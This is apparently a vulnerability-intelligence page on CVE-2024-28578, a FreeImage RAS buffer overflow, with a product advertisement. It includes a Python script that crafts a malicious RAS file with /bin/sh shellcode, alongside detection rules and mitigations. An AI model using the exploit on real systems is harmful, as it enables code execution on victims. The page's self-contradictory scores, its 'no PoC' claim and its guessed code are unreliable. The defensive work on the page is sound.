☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-28578

CVE-2024-28578 Buffer Overflow in Freeimage
📅 PUBLISHED: 2024-03-20 00:00 UTC 🔄 UPDATED: 2026-10-11 18:45 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
8.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-28578 is a buffer overflow vulnerability in the open-source FreeImage library, version 3.19.0 [r1909]. The flaw resides in the Load() function when processing RAS (Sun Raster) format images. A local attacker can exploit this to execute arbitrary code. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

FreeImage is a widely used library for image format handling, integrated into numerous applications and systems. This vulnerability poses a supply chain risk, as any software bundling the vulnerable version may be affected. Users should monitor for patches and consider temporary mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: High (based on arbitrary code execution potential)

While no CVSS vector is provided, the vulnerability allows arbitrary code execution, which typically results in a high or critical severity rating. The attack vector is local, requiring the attacker to have access to the system and trigger the vulnerable code path.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the Load() function of FreeImage when parsing RAS format images. The RAS format includes a header with fields like width, height, and depth. The Load() function likely allocates a buffer based on these values but fails to validate them properly, allowing an attacker to craft a malicious RAS image with oversized dimensions. When the image data is read into the undersized buffer, it overflows, corrupting adjacent memory. This can be leveraged to overwrite return addresses or function pointers, leading to arbitrary code execution.

The vulnerable code path is triggered when FreeImage_Load(FIF_RAS, filename) is called. The function reads the RAS header, allocates memory, and then copies pixel data without proper bounds checking.

Vulnerable vs. Patched Code

Vulnerable Code (FreeImage 3.19.0 [r1909]): The Load() function in Source/FreeImage/PluginRAS.cpp likely contains a buffer allocation based on user-controlled dimensions without validation.

// Vulnerable snippet (conceptual)
int width = ReadWord(file);
int height = ReadWord(file);
int depth = ReadWord(file);
// No validation of width, height, depth
BYTE* buffer = (BYTE*)malloc(width * height * (depth / 8));
// Read pixel data into buffer without size check
fread(buffer, 1, width * height * (depth / 8), file);

Patched Code (Hypothetical): A patch would add validation of dimensions and ensure the buffer size is sufficient.

// Patched snippet (conceptual)
int width = ReadWord(file);
int height = ReadWord(file);
int depth = ReadWord(file);
if (width <= 0 || height <= 0 || depth <= 0 || width > MAX_WIDTH || height > MAX_HEIGHT) {
    // Handle error
    return NULL;
}
size_t buffer_size = width * height * (depth / 8);
BYTE* buffer = (BYTE*)malloc(buffer_size);
if (!buffer) return NULL;
size_t bytes_read = fread(buffer, 1, buffer_size, file);
if (bytes_read != buffer_size) {
    free(buffer);
    return NULL;
}

Exploitation & Lab Setup

Red Team

Objective: Achieve arbitrary code execution via a crafted RAS image.

Lab Setup:

  1. Target: A system running an application that uses FreeImage 3.19.0 [r1909] to load RAS images.
  2. Attacker Machine: Kali Linux with a C compiler and Python.

Steps:

  1. Craft Malicious RAS Image: Create a RAS file with a header specifying large dimensions (e.g., width=0xFFFF, height=0xFFFF) and a payload in the pixel data.
  2. Deliver Payload: Send the image to the target via email, web download, or local file placement.
  3. Trigger Vulnerability: The target application loads the image using FreeImage_Load(FIF_RAS, "malicious.ras").
  4. Exploit: The buffer overflow overwrites a return address, redirecting execution to shellcode embedded in the image.

Example RAS Header Crafting (Python):

import struct

def create_malicious_ras(payload):
    # RAS header: magic(4), width(4), height(4), depth(4), length(4), type(4), maptype(4), maplength(4)
    magic = 0x59a66a95
    width = 0xFFFF  # Large width to cause overflow
    height = 0xFFFF
    depth = 8
    length = width * height * (depth // 8)
    img_type = 1  # Old format
    maptype = 0
    maplength = 0
    header = struct.pack('>I', magic)
    header += struct.pack('>I', width)
    header += struct.pack('>I', height)
    header += struct.pack('>I', depth)
    header += struct.pack('>I', length)
    header += struct.pack('>I', img_type)
    header += struct.pack('>I', maptype)
    header += struct.pack('>I', maplength)
    # Payload (shellcode) padded to fill buffer
    payload = payload.ljust(length, b'\x90')
    return header + payload

# Example shellcode (Linux x86 execve /bin/sh)
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
malicious = create_malicious_ras(shellcode)
with open('exploit.ras', 'wb') as f:
    f.write(malicious)

Blue Team

Detection:

  • Monitor for abnormal RAS file sizes or dimensions.
  • Use file integrity monitoring to detect unexpected RAS files.
  • Deploy endpoint detection and response (EDR) to monitor for buffer overflow behavior.

Mitigation:

  • Restrict execution of applications using FreeImage to least privilege.
  • Use application whitelisting to prevent unknown binaries.
  • Implement stack canaries and ASLR if not already enabled.

Indicators of Compromise (IOCs)

  • File Hashes: (None available, but monitor for RAS files with suspicious headers)
  • Network Signatures: RAS files with unusually large dimensions in headers.
  • Process Behavior: Applications crashing or exhibiting abnormal memory access patterns when loading RAS images.
  • Registry/File System: Presence of RAS files in unexpected locations.

Detection Engineering

YARA Rule

rule CVE_2024_28578_RAS_BufferOverflow {
    meta:
        description = "Detects malicious RAS files exploiting CVE-2024-28578"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28578"
    strings:
        $ras_magic = { 59 A6 6A 95 }
        $large_width = /[\x00\x00\xFF\xFF]/  // width = 0xFFFF
        $large_height = /[\x00\x00\xFF\xFF]/ // height = 0xFFFF
    condition:
        $ras_magic at 0 and ($large_width or $large_height)
}

Sigma Rule

title: CVE-2024-28578 FreeImage RAS Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-28578 via malicious RAS files
author: Valters IT
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '.ras'
        TargetFilename|contains: 'FreeImage'
    condition: selection
falsepositives:
    - Legitimate RAS files with large dimensions
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-28578 FreeImage RAS Buffer Overflow"; flow:to_server,established; content:"|59 A6 6A 95|"; offset:0; depth:4; content:"|FF FF|"; distance:4; within:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable RAS Support: If possible, disable loading of RAS images in applications using FreeImage.
  2. Input Validation: Implement external validation of RAS file dimensions before passing to FreeImage.
  3. Update: Monitor the FreeImage project for patches and apply immediately when available.

Long-Term:

  • Consider migrating to a maintained image library with active security support.
  • Implement sandboxing for image processing tasks.
  • Conduct regular security audits of third-party libraries.

Workaround:

  • Use a wrapper that validates RAS headers before calling FreeImage functions.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-28578/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.